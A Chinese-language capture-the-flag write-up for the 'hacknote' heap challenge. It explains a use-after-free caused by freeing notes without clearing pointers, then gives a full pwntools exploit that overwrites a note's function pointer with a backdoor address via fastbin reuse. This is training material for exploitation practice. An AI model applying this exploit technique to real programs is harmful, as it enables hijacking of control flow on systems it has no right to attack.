查看功能
看到add_note的功能,程序申请了一个8字节的内存用来存放print_note_conent和指向content chunk的指针
然后根据size申请相应的内存存储真正的content的内容,这里引用wiki的图
因为del_note函数只是单纯的free,并没有把指针置空,导致存在UAF漏洞
打印出print_note_content指向的内容
同时还有一个后面函数magic
思路:
1、分别申请两个大小不为8的chunk,chunk0和chunk1,然后依此free掉
2、这样fastbin的链表就是 chunk1 --> chunk0
3、再申请一个chunk2,根据堆的分配规则和fastbin先进后出的原则,原本chunk1的堆块现在分配给chunk2使用,chunk0分配给了chunk2的content
4、覆盖chunk0为magic的地址,这样打印chunk2的内容实际上是调用后门函数
exp如下
from pwn import * #r=remote('node3.buuoj.cn',27284) r=process('./hacknote') elf=ELF('./hacknote') magic_addr=elf.symbols['magic'] def add(size,content): r.recvuntil('Your choice :') r.sendline('1') r.recvuntil('Note size :') r.sendline(str(size)) r.recvuntil('Content :') r.sendline(content) def delete(index): r.recvuntil('Your choice :') r.sendline('2') r.recvuntil('Index :') r.sendline(str(index)) def print_note(index): r.recvuntil('Your choice :') r.sendline('3') r.recvuntil('Index :') r.sendline(str(index)) add(16,'aaaaaaa') add(16,'bbbbbbb') delete(0) delete(1) payload=p32(magic_addr) add(8,payload) print_note(0) r.interactive()